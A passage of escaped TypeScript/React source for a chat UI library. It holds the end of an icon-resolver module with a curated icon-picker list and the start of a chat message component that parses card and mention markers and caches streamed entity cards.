chips, slash\n *      autocomplete, announcement bar, AI-agent icons, the admin picker.\n *      Order: curated `ICON_ALIASES` (brand-grey logos, tinted OpenFrame,\n *      semantic aliases) → generic `icons-v2-generated` by naming convention →\n *      `FileIcon`.\n *   • `'brand'`: the brand/social set (lucide + brand-colored logos) via the\n *      registry resolver `getIconComponent` (PascalCase-normalised) — social\n *      links, source-row CTAs.\n *\n * The two glyph SETS differ on purpose (a grey design 'slack' vs a brand-color\n * social 'slack'); this resolver is the ONE place that owns both. `getIconComponent`\n * / `getDynamicIcon` remain as the brand-variant + sized-brand helpers.\n */\nexport function resolveIcon(\n  iconName: string | null | undefined,\n  opts?: { variant?: 'design' | 'brand' },\n): IconComponent {\n  if (opts?.variant === 'brand') {\n    // Brand variant — delegate to the registry resolver (same glyph as before).\n    return getIconComponent(iconName) as IconComponent\n  }\n  if (!iconName) return FileIcon\n  return ICON_ALIASES[iconName] ?? resolveFromLibrary(iconName) ?? FileIcon\n}\n\n/** One selectable icon in the admin slash-command picker. */\nexport interface IconOption {\n  /** Stored `icon_name` value — a kebab-case `icons-v2-generated` key (or a\n   *  curated alias) that `resolveIcon` displays in the chat. */\n  key: string\n  /** Human-friendly label shown in the picker dropdown. */\n  label: string\n}\n\n/**\n * Curated icon set offered by the admin slash-command icon picker\n * (`/admin/chat-config` → Edit slash command).\n *\n * THE PICKER AND THE CHAT SHARE ONE ICON SOURCE: every `key` here is an\n * `icons-v2-generated` name (or curated alias) that `resolveIcon`\n * renders — so whatever the admin selects always displays in the chip /\n * autocomplete, with no fallback-glyph drift. (The full library is far larger\n * and resolvable generically; this is the curated, slash-command-relevant\n * subset for a usable dropdown.) Keep keys kebab-case to match the DB\n * `chat_admin_slash_commands.icon_name` convention.\n */\nexport const ICON_OPTIONS: ReadonlyArray<IconOption> = [\n  // Brands\n  { key: 'openframe', label: 'OpenFrame' },\n  { key: 'slack', label: 'Slack' },\n  { key: 'hubspot', label: 'HubSpot' },\n  { key: 'clickup', label: 'ClickUp' },\n  { key: 'github', label: 'GitHub' },\n  { key: 'linkedin', label: 'LinkedIn' },\n  { key: 'twitter', label: 'Twitter (X)' },\n  { key: 'twitter-x', label: 'X' },\n  { key: 'facebook', label: 'Facebook' },\n  { key: 'instagram', label: 'Instagram' },\n  { key: 'youtube', label: 'YouTube' },\n  { key: 'discord', label: 'Discord' },\n  { key: 'figma', label: 'Figma' },\n  { key: 'google', label: 'Google' },\n  { key: 'apple', label: 'Apple' },\n  { key: 'windows', label: 'Windows' },\n  { key: 'android', label: 'Android' },\n  { key: 'openai-logo', label: 'OpenAI' },\n  { key: 'anthropic-logo', label: 'Anthropic' },\n  // Content & docs\n  { key: 'newspaper', label: 'Newspaper' },\n  { key: 'book', label: 'Book' },\n  { key: 'file', label: 'File' },\n  { key: 'file-text', label: 'Document' },\n  { key: 'file-code', label: 'Code file' },\n  { key: 'file-chart-bar', label: 'Report' },\n  { key: 'file-dollar', label: 'Invoice file' },\n  { key: 'folder', label: 'Folder' },\n  { key: 'folder-open', label: 'Folder open' },\n  { key: 'clipboard', label: 'Clipboard' },\n  { key: 'clipboard-list', label: 'Checklist' },\n  { key: 'clipboard-check', label: 'Clipboard check' },\n  { key: 'memo', label: 'Memo' },\n  { key: 'paperclip', label: 'Attachment' },\n  { key: 'copy-01', label: 'Copy' },\n  { key: 'files', label: 'Files' },\n  { key: 'box-archive', label: 'Box' },\n  { key: 'parcel-01', label: 'Parcel' },\n  // Media\n  { key: 'video', label: 'Video' },\n  { key: 'headphones', label: 'Podcast / audio' },\n  { key: 'podcast', label: 'Podcast' },\n  { key: 'mic', label: 'Microphone' },\n  { key: 'music-note-01', label: 'Music' },\n  { key: 'camera', label: 'Camera' },\n  { key: 'image', label: 'Image' },\n  { key: 'film-hr', label: 'Film' },\n  { key: 'play', label: 'Play' },\n  // Date & time\n  { key: 'calendar', label: 'Calendar' },\n  { key: 'calendar-check', label: 'Calendar check' },\n  { key: 'clock', label: 'Clock' },\n  { key: 'alarm', label: 'Alarm' },\n  { key: 'stopwatch', label: 'Stopwatch' },\n  { key: 'timer', label: 'Timer' },\n  { key: 'hourglass', label: 'Hourglass' },\n  // Places & business\n  { key: 'briefcase', label: 'Briefcase' },\n  { key: 'graduation-cap', label: 'Education' },\n  { key: 'building', label: 'Building' },\n  { key: 'buildings', label: 'Buildings' },\n  { key: 'hospital', label: 'Hospital' },\n  { key: 'school', label: 'School' },\n  { key: 'warehouse', label: 'Warehouse' },\n  { key: 'shop', label: 'Shop' },\n  // Communication\n  { key: 'search', label: 'Search' },\n  { key: 'chats', label: 'Chat' },\n  { key: 'message-text', label: 'Message' },\n  { key: 'messages', label: 'Messages' },\n  { key: 'email', label: 'Email' },\n  { key: 'inbox', label: 'Inbox' },\n  { key: 'send-01', label: 'Send' },\n  { key: 'at-sign', label: 'Mention' },\n  { key: 'bell', label: 'Notifications' },\n  { key: 'megaphone-01', label: 'Announcement' },\n  // Charts & analytics\n  { key: 'chart-pie', label: 'Pie chart' },\n  { key: 'chart-donut', label: 'Donut chart' },\n  { key: 'chart-bar-01-ver', label: 'Bar chart' },\n  { key: 'chart-line-up', label: 'Line chart' },\n  { key: 'trend-up', label: 'Trend up' },\n  { key: 'trend-down', label: 'Trend down' },\n  { key: 'presentation', label: 'Presentation' },\n  { key: 'analysis', label: 'Analysis' },\n  { key: 'activity', label: 'Activity' },\n  { key: 'network', label: 'Network' },\n  // Finance\n  { key: 'bank', label: 'Bank' },\n  { key: 'money-bill-dollar', label: 'Money' },\n  { key: 'money-bill', label: 'Bill' },\n  { key: 'coins', label: 'Coins' },\n  { key: 'coin', label: 'Coin' },\n  { key: 'coins-exchange-currency', label: 'Currency exchange' },\n  { key: 'piggy-bank', label: 'Savings' },\n  { key: 'wallet-01', label: 'Wallet' },\n  { key: 'credit-card', label: 'Credit card' },\n  { key: 'hand-coin', label: 'Hand coin' },\n  { key: 'dollar', label: 'Dollar' },\n  { key: 'dollar-circle', label: 'Dollar circle' },\n  { key: 'euro', label: 'Euro' },\n  { key: 'bitcoin', label: 'Bitcoin' },\n  { key: 'percent', label: 'Percent' },\n  { key: 'receipt-01', label: 'Receipt' },\n  { key: 'badge-dollar', label: 'Price badge' },\n  { key: 'sack', label: 'Money sack' },\n  // Security\n  { key: 'shield', label: 'Shield' },\n  { key: 'shield-check', label: 'Shield check' },\n  { key: 'lock', label: 'Lock' },\n  { key: 'unlock', label: 'Unlock' },\n  { key: 'key', label: 'Key' },\n  { key: 'fingerprint', label: 'Fingerprint' },\n  { key: 'scan', label: 'Scan' },\n  // People\n  { key: 'user', label: 'User' },\n  { key: 'users', label: 'Users' },\n  { key: 'users-group', label: 'User group' },\n  { key: 'user-check', label: 'User check' },\n  { key: 'id-card', label: 'ID card' },\n  { key: 'avatar-circle', label: 'Avatar' },\n  // Devices & infra\n  { key: 'laptop', label: 'Laptop' },\n  { key: 'monitor', label: 'Monitor' },\n  { key: 'mobile-phone', label: 'Phone' },\n  { key: 'hard-drive', label: 'Hard drive' },\n  { key: 'hard-drives', label: 'Storage' },\n  { key: 'cloud', label: 'Cloud' },\n  { key: 'wifi', label: 'Wi-Fi' },\n  { key: 'printer', label: 'Printer' },\n  { key: 'keyboard', label: 'Keyboard' },\n  { key: 'microchip', label: 'Chip' },\n  { key: 'microchip-ai', label: 'AI chip' },\n  { key: 'power', label: 'Power' },\n  // Code & dev\n  { key: 'bracket-curly', label: 'Code' },\n  { key: 'terminal', label: 'Terminal' },\n  { key: 'code', label: 'Code block' },\n  { key: 'bug', label: 'Bug' },\n  { key: 'package', label: 'Package' },\n  { key: 'database', label: 'Database' },\n  { key: 'browser', label: 'Browser' },\n  { key: 'puzzle-01', label: 'Plugin' },\n  { key: 'coding-branch', label: 'Branch' },\n  { key: 'coding-commit', label: 'Commit' },\n  { key: 'coding-pull-request', label: 'Pull request' },\n  { key: 'robot', label: 'Bot' },\n  { key: 'blockchain', label: 'Blockchain' },\n  // General & status\n  { key: 'layers', label: 'Layers' },\n  { key: 'settings-01', label: 'Settings' },\n  { key: 'home', label: 'Home' },\n  { key: 'eye', label: 'View' },\n  { key: 'link-01', label: 'Link' },\n  { key: 'download-01', label: 'Download' },\n  { key: 'upload-01', label: 'Upload' },\n  { key: 'trash', label: 'Delete' },\n  { key: 'share', label: 'Share' },\n  { key: 'life-buoy', label: 'Support' },\n  { key: 'rocket', label: 'Rocket' },\n  { key: 'compass', label: 'Compass' },\n  { key: 'star', label: 'Star' },\n  { key: 'crown', label: 'Crown' },\n  { key: 'gift', label: 'Gift' },\n  { key: 'ticket', label: 'Ticket' },\n  { key: 'tag', label: 'Tag' },\n  { key: 'cart', label: 'Cart' },\n  { key: 'thumbs-up', label: 'Thumbs up' },\n  { key: 'flag-01', label: 'Flag' },\n  { key: 'bookmark', label: 'Bookmark' },\n  { key: 'pin', label: 'Pin' },\n  { key: 'check-circle', label: 'Check' },\n  { key: 'check-square', label: 'Checkbox' },\n  { key: 'info-circle', label: 'Info' },\n  { key: 'info', label: 'Info alt' },\n  { key: 'question-circle', label: 'Help' },\n  { key: 'alert-triangle', label: 'Warning' },\n  { key: 'hash', label: 'Hashtag' },\n  { key: 'pencil', label: 'Edit' },\n  { key: 'lightning', label: 'Lightning' },\n  { key: 'globe-01', label: 'Globe' },\n  { key: 'scale-balanced', label: 'Balance' },\n  { key: 'certified-01', label: 'Certified' },\n]\n","\"use client\"\n\nimport React, { forwardRef, memo, useEffect, useMemo, useRef } from \"react\"\nimport { cn } from \"../../utils/cn\"\nimport { isToday } from \"../../utils/date-utils\"\nimport { formatDate, formatTime } from \"../../utils/format-date\"\nimport { SquareAvatar } from \"../ui/square-avatar\"\nimport { ToolExecutionDisplay } from \"./tool-execution-display\"\nimport { ApprovalRequestMessage } from \"./approval-request-message\"\nimport { ApprovalBatchMessage } from \"./approval-batch-message\"\nimport { EscalationOfferMessage } from \"./escalation-offer-message\"\nimport { TicketEscalatedMessage } from \"./ticket-escalated-message\"\nimport { TicketEventMessage } from \"./ticket-event-message\"\nimport { ErrorMessageDisplay } from \"./error-message-display\"\nimport { ContextCompactionDisplay } from \"./context-compaction-display\"\nimport { ThinkingDisplay } from \"./thinking-display\"\nimport { GuideDisplay } from \"./guide-display\"\nimport { AskDisplay } from \"./ask-display\"\nimport { SimpleMarkdownRenderer } from \"../ui/markdown/simple-markdown-renderer\"\nimport type { ChatRef } from \"./chat-ref.types\"\nimport { remarkCardLinks } from \"./remark-card-links\"\nimport { remarkStripCitations } from \"./remark-strip-citations\"\nimport { remarkMentionChips } from \"./remark-mention-chips\"\nimport { BlockCard, type BlockCardProps } from \"./entity-cards/block-card\"\nimport { ChatContextChipStrip } from \"./chat-context-picker\"\nimport type { AskSegment, MessageSegment, MessageContent, ChatMessageEnhancedProps } from \"./types\"\n\n/** Inline `@marker:id` mention token in the message body (sibling of the\n *  `[card://]` grammar) — used to filter out items rendered inline from the\n *  chip strip below. MUST mirror the left-boundary `(^|\\s)` of `MENTION_REGEX`\n *  in `remark-mention-chips.ts`: without it this regex is WIDER than the plugin\n *  (e.g. it matches `x@device:1` mid-word, which the plugin skips), so a context\n *  item would be stripped from the chip strip yet never rendered inline — lost\n *  from display entirely. The id is capture group 2 (group 1 is the boundary).\n *  Marker `[a-zA-Z]+` (markers are mostly lowercase but not all — e.g.\n *  `scheduledScript`); id is the mention-token charset. */\nconst MENTION_MARKER_REGEX = /(^|[^\\w@])@[a-zA-Z]+:([A-Za-z0-9_.+/=-]*[A-Za-z0-9_+/=])/g\n\n/**\n * Same regex shape as `remarkCardLinks` — kept in lockstep so the\n * pre-scan and the remark plugin see the SAME set of markers. If the\n * grammar widens (today: snake_case OR kebab-case; closer `]` OR `)`),\n * both files must update.\n */\nconst CARD_MARKER_REGEX = /\\[card:\\/\\/([a-zA-Z0-9_-]+):([a-zA-Z0-9_-]+)[\\])]/g\n\n/** Timestamp label: today's messages show time only (\"2:47 PM\"),\n *  older messages prepend a locale-formatted date (\"05/05/2026 2:47 PM\"\n *  in en-US, \"05.05.2026 14:47\" in european locales). */\nfunction formatMessageTimestamp(timestamp: Date): string {\n  const time = formatTime(timestamp)\n  return isToday(timestamp) ? time : `${formatDate(timestamp)} ${time}`\n}\n\nfunction normalizeContent(content: MessageContent): MessageSegment[] {\n  if (typeof content === 'string') {\n    return content ? [{ type: 'text', text: content }] : []\n  }\n  return content\n}\n\n/**\n * A RUN of consecutive `ask` segments is one paged card, not a stack of\n * near-identical ones. Returns the run keyed by the index of its FIRST segment;\n * the render draws the card there and skips every later index of the same run\n * (an `ask` index missing from this map is a tail member).\n */\nfunction groupAskRuns(segments: MessageSegment[]): Map<number, AskSegment[]> {\n  const runs = new Map<number, AskSegment[]>()\n  let headIndex = -1\n  segments.forEach((segment, index) => {\n    if (segment.type !== 'ask') {\n      headIndex = -1\n      return\n    }\n    if (headIndex === -1) {\n      headIndex = index\n      runs.set(index, [segment])\n      return\n    }\n    runs.get(headIndex)?.push(segment)\n  })\n  return runs\n}\n\nconst ChatMessageEnhanced = forwardRef<HTMLDivElement, ChatMessageEnhancedProps>(\n  ({ className, role, content, name, avatar, isTyping = false, timestamp, showAvatar = true, assistantType, approvalVariant, authorType: authorTypeProp, assistantIcon, contextItems, resolveContextIcon, renderContextItem, renderMention, renderEntityCard, onAskSelect, NavLinkAnchor, ...props }, ref) => {\n    const isUser = role === 'user'\n    const isError = role === 'error'\n    const authorType = authorTypeProp ?? (isUser ? 'user' : assistantType === 'mingo' ? 'mingo' : 'fae')\n\n    // Inline-card rendering uses a HOST-PROVIDED `renderEntityCard` function\n    // (v6.1 §B.2.7 — DRY duplications #2). The OSS-lib stays data-agnostic:\n    // it doesn't know about entity types, slash commands, or app routing.\n    // The host (multi-platform-hub) returns whatever JSX it wants for each\n    // marker's descriptor — typically a self-fetching card that hydrates by\n    // id from the host's per-object APIs.\n    //\n    // The remark plugin runs whenever the host opts in with\n    // `renderEntityCard`, so we always strip raw markers from rendered text\n    // (Logic MED-4). When the host's `renderEntityCard` is unset OR returns\n    // null, the override falls back to the bare cardId. Never renders the\n    // literal `[card://...]` URL.\n    const hasMarkerSupport = !!renderEntityCard\n\n    const segments = useMemo(() => normalizeContent(content), [content])\n\n    const askRuns = useMemo(() => groupAskRuns(segments), [segments])\n\n    // Inline `@marker:id` mentions: the composer commits these tokens when the\n    // user picks context via the `@`-flow, and the ASSISTANT routinely echoes\n    // the same `@device:machineId` token back in its reply. The lib detects the\n    // token and delegates rendering to the host's `renderMention` (mirror of\n    // `renderEntityCard`): the host returns a SELF-FETCHING chip per entity\n    // type. Enabled whenever the host opts in by supplying `renderMention`.\n    const hasMentionSupport = !!renderMention\n\n    // Ids that appear as `@marker:id` in the body → rendered inline, so they are\n    // excluded from the chip strip below (no duplicate inline + strip).\n    const inlineMentionIds = useMemo(() => {\n      const ids = new Set<string>()\n      if (!hasMentionSupport) return ids\n      for (const seg of segments) {\n        if (seg.type !== 'text' || !seg.text || !seg.text.includes('@')) continue\n        for (const mm of seg.text.matchAll(MENTION_MARKER_REGEX)) ids.add(mm[2])\n      }\n      return ids\n    }, [hasMentionSupport, segments])\n\n    // Chip strip = only context NOT already shown inline (e.g. `+`-added items).\n    const stripContextItems = useMemo(\n      () =>\n        inlineMentionIds.size > 0 && contextItems\n          ? contextItems.filter((it) => !inlineMentionIds.has(it.id))\n          : contextItems,\n      [contextItems, inlineMentionIds],\n    )\n\n    // Markdown plugins per message: card markers (assistant) + mention tokens\n    // (user). Each is gated independently so neither fires without its data.\n    const cardRemarkPlugins = useMemo(\n      () => [\n        ...(hasMarkerSupport ? [remarkCardLinks, remarkStripCitations] : []),\n        ...(hasMentionSupport ? [remarkMentionChips] : []),\n      ],\n      [hasMarkerSupport, hasMentionSupport],\n    )\n\n    // Cross-render cache of rendered inline-card nodes, keyed by `type:id`.\n    // A fetch-mode card lives inside the assistant message, which re-renders on\n    // every stream chunk (and the whole list re-renders when a new message\n    // arrives). `renderEntityCard` produces a FRESH element each time, so React\n    // re-mounts the card — closing any open menu/popover and re-triggering its\n    // fetch. Caching the produced node by key and returning the SAME element\n    // reference lets React bail out of re-rendering that subtree, so the card\n    // (and its open menu) survives across chunks. Invalidated per key when the\n    // render fn identity changes.\n    const renderedCardNodeCache = useRef(\n      new Map<string, { render: ((ref: ChatRef) => React.ReactNode) | undefined; node: React.ReactNode }>(),\n    )\n\n    /**\n     * Per-message rendering plan for `[card://type:id]` markers.\n     *\n     * Block-bearing markers SPLIT their containing text segment so the\n     * block payload (e.g. video player) renders AT THE MARKER POSITION\n     * in the text flow — not at the end of the segment, which causes\n     * the block to \"appear high and drift down\" while text streams in.\n     *\n     * Per-segment output is an array of parts:\n     *   - `{ kind: 'text' }` — substring of the segment text, rendered\n     *                         through `<SimpleMarkdownRenderer>`. Ends\n     *                         with the block marker so the inline pill\n     *                         lands at the right spot via the `<a>`\n     *                         override.\n     *   - `{ kind: 'block' }` — block payload, rendered as a sibling\n     *                         BELOW the preceding text chunk and above\n     *                         the next one.\n     *\n     * Inline-only markers (no `<BlockCard>` wrapper) do NOT split the\n     * segment; they're handled by the override at marker position via\n     * the shared `inlineByKey` map.\n     *\n     * Streaming behaviour: as a marker becomes complete in the streamed\n     * text, the regex matches, the segment splits at that point, and\n     * the block card lands right after the inline pill. Subsequent\n     * tokens render in the trailing chunk — block stays in position.\n     */\n    const renderingPlan = useMemo(() => {\n      if (!hasMarkerSupport) return null\n      const render = renderEntityCard\n      const inlineByKey = new Map<string, React.ReactNode>()\n      type SegmentPart =\n        | { kind: 'text'; text: string }\n        | { kind: 'block'; key: string; node: React.ReactNode }\n      const partsBySegment = new Map<number, SegmentPart[]>()\n      const usedKeys = new Set<string>()\n      if (!render) return { inlineByKey, partsBySegment, usedKeys }\n      const cache = renderedCardNodeCache.current\n      // Card keys already emitted as a hoisted block (`b-<key>`). The same\n      // marker can legitimately appear twice in one message (LLM references\n      // the same entity twice); we hoist the FIRST occurrence and skip the\n      // duplicates so two siblings never collide on the same React key.\n      const emittedBlockKeys = new Set<string>()\n      segments.forEach((segment, segIdx) => {\n        // Both markdown-bearing segment types take part: a `guide` body is\n        // authored by the same LLM and carries the same `[card://]` markers,\n        // so skipping it here left its markers with no `inlineByKey` entry and\n        // no hoisted card — the `<a card://>` override silently degraded them\n        // to a bare title / id.\n        if (segment.type !== 'text' && segment.type !== 'guide') return\n        const text = segment.text\n        const parts: SegmentPart[] = []\n        let cursor = 0\n        CARD_MARKER_REGEX.lastIndex = 0\n        let match: RegExpExecArray | null\n        while ((match = CARD_MARKER_REGEX.exec(text)) !== null) {\n          const cardType = match[1]\n          const cardId = match[2]\n          const key = `${cardType}:${cardId}`\n          usedKeys.add(key)\n          // Reuse the cached node when the render fn didn't change —\n          // returning the SAME element reference across renders is what\n          // stops React from re-mounting the card (and closing its open\n          // menu / re-fetching) on every stream chunk. Also dedups the same\n          // key emitted twice within one message.\n          let entry = cache.get(key)\n          if (!entry || entry.render !== render) {\n            // The marker is the ONLY data on the wire: cards hydrate by id\n            // from the host's per-object APIs, so a minimal {type, id}\n            // descriptor is all the renderer needs to mount the loader.\n            // For types with nothing to fetch the host's render() returns\n            // null and we fall through to the bare-cardId fallback in the\n            // `<a card://…>` override below.\n            //\n            // DESCRIPTOR DEFAULTS: `ChatRef.title` and `ChatRef.url` are\n            // non-optional in the type; a bare `{type, id}` cast would lie\n            // to consumers that read those fields. Default `title` to the\n            // cardId (so any host renderer that prints `ref.title` shows\n            // the id rather than `undefined`) and `url` to null (matches\n            // the no-link semantics fetch-mode cards rely on — they\n            // resolve their own URL after fetch).\n            const refForRender: ChatRef = {\n              type: cardType,\n              id: cardId,\n              title: cardId,\n              url: null,\n            }\n            entry = { render, node: render(refForRender) }\n            cache.set(key, entry)\n          }\n          const rendered = entry.node\n          if (React.isValidElement(rendered) && rendered.type === BlockCard) {\n            const props = rendered.props as BlockCardProps\n            const markerEnd = match.index + match[0].length\n            // Text chunk INCLUDING the marker — the inline pill renders\n            // at the marker position via the `<a>` override.\n            parts.push({ kind: 'text', text: text.slice(cursor, markerEnd) })\n            // Hoist the block payload only on the FIRST occurrence of this key\n            // — a repeated marker still gets its inline pill (text + override\n            // above) but must not push a second `b-<key>` sibling.\n            if (!emittedBlockKeys.has(key)) {\n              emittedBlockKeys.add(key)\n              parts.push({ kind: 'block', key, node: props.children })\n            }\n            cursor = markerEnd\n            inlineByKey.set(\n              key,\n              props.inline != null\n                ? props.inline\n                : <span className=\"text-ods-text-primary font-medium\">{cardId}</span>,\n            )\n          } else if (rendered != null) {\n            // Hoist fetch-mode entity cards (roadmap/blog/case-study/release/…)\n            // OUT of the markdown as stable-keyed block siblings — exactly like\n            // BlockCard. Rendered INSIDE `<SimpleMarkdownRenderer>` they remount\n            // on every streaming re-parse (react-markdown rebuilds its subtree\n            // token-by-token), which closes any open menu/popover and re-fires\n            // the card's fetch. As a sibling keyed by the card key (`b-<key>`)\n            // the card survives streaming: appending more text/markers only adds\n            // NEW siblings, existing cards keep their React instance.\n            //\n            // We EXCLUDE the marker from the surrounding text (cursor jumps past\n            // it) so no inline pill renders — the full card IS the content.\n            // Hoist only the FIRST occurrence; a duplicate marker is dropped\n            // entirely (no inline pill for hoisted cards) so we never push a\n            // second sibling colliding on the same `b-<key>` React key.\n            parts.push({ kind: 'text', text: text.slice(cursor, match.index) })\n            if (!emittedBlockKeys.has(key)) {\n              emittedBlockKeys.add(key)\n              parts.push({ kind: 'block', key, node: rendered })\n            }\n            cursor = match.index + match[0].length\n          }\n        }\n        // Trailing text after the last block marker (or the entire\n        // segment when no block markers fired).\n        if (cursor < text.length) {\n          parts.push({ kind: 'text', text: text.slice(cursor) })\n        }\n        // Only register the split plan when at least one block marker\n        // fired — otherwise the segment renders as one SimpleMarkdown-\n        // Renderer call (existing behaviour preserved for the\n        // overwhelming majority of segments that have no block cards).\n        if (parts.some((p) => p.kind === 'block')) {\n          partsBySegment.set(segIdx, parts)\n        }\n      })\n      return { inlineByKey, partsBySegment, usedKeys }\n    }, [hasMarkerSupport, renderEntityCard, segments])\n\n    // Drop cached nodes for markers no longer present so the cache can't grow\n    // unbounded as a long message's markers change. Deliberately an EFFECT,\n    // not part of the memo above: pruning is a mutation, and doing it in the\n    // render phase is non-idempotent (StrictMode's double-invoke, or a render\n    // React throws away, would evict nodes the committed tree still uses and\n    // remount the cards it was built to preserve).\n    useEffect(() => {\n      const cache = renderedCardNodeCache.current\n      const usedKeys = renderingPlan?.usedKeys\n      if (!usedKeys) return\n      if (cache.size <= usedKeys.size) return\n      for (const k of [...cache.keys()]) {\n        if (!usedKeys.has(k)) cache.delete(k)\n      }\n    }, [renderingPlan])\n\n    // The plan is read through a REF inside the `<a>` override, not captured\n    // in the override's closure. `renderingPlan` is rebuilt on every text\n    // delta (its `segments` dep is a fresh array per delta), so depending on\n    // it here would give `cardComponentOverrides` a new identity every token\n    // — which re-creates the markdown engine's `components` memo and defeats\n    // its per-block `StreamingBlockRenderer` memoization for the WHOLE\n    // message, on every token. The ref keeps the override identity stable\n    // while still reading the current plan at call time.\n    const renderingPlanRef = useRef(renderingPlan)\n    renderingPlanRef.current = renderingPlan\n\n    const cardComponentOverrides = useMemo(() => {\n      if (!hasMarkerSupport && !hasMentionSupport) return undefined\n      return {\n        // Override `<a>` to detect `card://` URLs emitted by `remarkCardLinks`.\n        // The render result was pre-computed in `renderingPlan` so block-level\n        // payloads (e.g. video player cards) can be hoisted out of the\n        // paragraph as siblings — the inline pill stays at the marker\n        // position. Other href schemes pass through unchanged.\n        a: ({ href, children, className: linkClassName, ...rest }: any) => {\n          // Inline entity mention `@marker:id`, emitted as a `mention://marker:id`\n          // link by `remarkMentionChips`. Delegate to the host's `renderMention`\n          // (mirror of the `card://` → `renderEntityCard` path): the host returns\n          // a self-fetching chip for that entity type. Null/unknown → raw token.\n          if (typeof href === 'string' && href.startsWith('mention://')) {\n            const stripped = href.slice('mention://'.length)\n            const sepIdx = stripped.indexOf(':')\n            const marker = sepIdx === -1 ? stripped : stripped.slice(0, sepIdx)\n            const id = sepIdx === -1 ? '' : stripped.slice(sepIdx + 1)\n            const node = renderMention?.({ marker, id })\n            if (node != null) return <>{node}</>\n            return <span className=\"text-ods-text-secondary opacity-60\">{children}</span>\n          }\n          if (typeof href === 'string' && href.startsWith('card://')) {\n            const stripped = href.slice('card://'.length)\n            const sepIdx = stripped.lastIndexOf(':')\n            if (sepIdx !== -1) {\n              const cardType = stripped.slice(0, sepIdx)\n              const cardId = stripped.slice(sepIdx + 1)\n              const key = `${cardType}:${cardId}`\n              const inline = renderingPlanRef.current?.inlineByKey.get(key)\n              if (inline != null) return inline\n              // No rendered card for this marker (the host's renderer\n              // returned null — no card type registered for `cardType`, or\n              // the id resolved to nothing). Render the raw `cardId` as a\n              // dim span so the marker never LOOKS like a real card: a\n              // hallucinated id must stay visibly broken, never dressed up\n              // with borrowed data.\n              return <span className=\"text-ods-text-secondary opacity-60\">{cardId}</span>\n            }\n          }\n          // Unified click rule — delegated to the host's `NavLinkAnchor`\n          // component. The host wraps its own `useNavLink` hook so EVERY\n          // clickable surface (source chips, inline cards, search rows,\n          // action cards, chat-markdown links) shares the same routing\n          // decision: modifier-clicks pass through, cross-origin → new\n          // tab, in-page doc-tree path → soft swap, same-origin → soft\n          // RSC nav. Single mental model across the app, single source\n          // of truth in the hub.\n          //\n          // Anchor-only links (`#section`) bypass NavLinkAnchor — the\n          // host's router would treat them as navigation, but the user\n          // wants the browser's native scroll-to-anchor behavior.\n          //\n          // When the host has NOT supplied `NavLinkAnchor` (e.g. the\n          // flamingo hero-demo with mock content), fall back to a plain\n          // `<a href>`. No cross-origin sniffing here — the OSS-lib does\n          // not own routing decisions; the host does.\n          if (\n            typeof href === 'string' &&\n            NavLinkAnchor &&\n            !href.startsWith('#')\n          ) {\n            return (\n              <NavLinkAnchor href={href} className={linkClassName} {...rest}>\n                {children}\n              </NavLinkAnchor>\n            )\n          }\n          return (\n            <a href={href} className={linkClassName} {...rest}>\n              {children}\n            </a>\n          )\n        },\n      }\n      // DEPS ARE DELIBERATELY MINIMAL — every one of them is stable across a\n      // streaming turn (booleans + host-stable fn/component identities, both\n      // enforced by this file's `memo` comparator). The rendering plan is\n      // read through a ref above precisely so it does NOT appear here.\n    }, [hasMarkerSupport, hasMentionSupport, renderMention, NavLinkAnchor])\n\n    /**\n     * Body of a markdown-bearing segment (`text` / `guide`).\n     *\n     * No block markers in this segment → a single SimpleMarkdownRenderer call\n     * (the vast majority of messages). Otherwise the text is split at each\n     * marker and block payloads are interleaved: each text chunk includes its\n     * trailing marker so the inline pill renders at the right position via the\n     * `<a>` override, and block payloads land AS SIBLINGS between text chunks —\n     * HTML-valid (block DOM never nests inside `<p>`) AND positionally correct\n     * (the block appears where the marker is in the flow, not at the segment's\n     * end). Stable React keys come from the card key (block) and chunk position\n     * (text); streaming token-by-token reuses the same React instances so\n     * `<Video>` doesn't remount mid-play.\n     *\n     * `isStreaming` opts the segment into the markdown engine's streaming path\n     * (atomic-block memoization + fence tail-completion + aria-live). Only the\n     * actively streaming segment gets it, and within a marker-split segment\n     * only the LAST text chunk — the earlier chunks are already final.\n     */\n    const renderSegmentBody = (segIndex: number, text: string, isStreaming: boolean) => {\n      const parts = renderingPlan?.partsBySegment.get(segIndex)\n      if (!parts || parts.length === 0) {\n        return (\n          <SimpleMarkdownRenderer\n            content={text}\n            textSize=\"compact\"\n            additionalRemarkPlugins={cardRemarkPlugins}\n            componentOverrides={cardComponentOverrides}\n            streaming={isStreaming}\n          />\n        )\n      }\n      return parts.map((part, pIdx) => {\n        if (part.kind === 'text') {\n          return (\n            <SimpleMarkdownRenderer\n              key={`t-${pIdx}`}\n              content={part.text}\n              textSize=\"compact\"\n              additionalRemarkPlugins={cardRemarkPlugins}\n              componentOverrides={cardComponentOverrides}\n              streaming={isStreaming && pIdx === parts.length - 1}\n            />\n          )\n        }\n        return (\n          <div key={`b-${part.key}`} className=\"my-3\">\n            {part.node}\n          </div>\n        )\n      })\n    }\n\n    const getAvatarProps = () => {\n      const displayName = name || (isUser ? \"User\" : assistantType === 'mingo' ? \"Mingo\" : \"Fae\")\n      const isMingo = assistantType === 'mingo'\n\n      return {\n        src: avatar || undefined,\n        alt: `${displayName} avatar`,\n        // Pass the FULL name — SquareAvatar derives first+last initials itself\n        // (passing pre-joined initials like \"PS\" would collapse to one letter,\n        // since getFirstLastInitials treats it as a single word).\n        fallback: displayName,\n        size: \"sm\" as const,\n        variant: \"round\" as const,\n        // User avatar: compact 20×20 with 2px padding and a subtle gray fill\n        // (`bg-ods-card`) so the `border-ods-border` ring stays visible — the\n        // brand fill reads poorly for a user. Assistant/Fae keep their brand\n        // fill. Initials are smaller + muted gray for the user placeholder.\n        ...(isUser ? { initialsClassName: \"text-[9px] text-ods-text-secondary\" } : {}),\n        className: cn(\n          \"flex-shrink-0\",\n          isUser\n            ? \"h-5 w-5 p-0.5 bg-ods-card\"\n            : isMingo\n              ? \"bg-ods-flamingo-cyan\"\n              : \"bg-ods-flamingo-pink\"\n        )\n      }\n    }\n    \n    const avatarProps = getAvatarProps()\n\n    const isSystem = authorType === 'system'\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"relative py-[var(--spacing-system-s)]\",\n          className\n        )}\n        {...props}\n      >\n        {/* Message Content — full panel width.\n            Avatar is INLINE in the name row below (2025-2026 chat\n            pattern — Claude.ai, ChatGPT, Gemini, Perplexity).\n            Legacy hanging-avatar layout (`absolute -left-16`) wasted\n            64px of gutter and clipped in narrow panels. */}\n        <div className=\"flex flex-col gap-[var(--spacing-system-xxs)] min-w-0\">\n          {/* Avatar + Name + Timestamp Row.\n              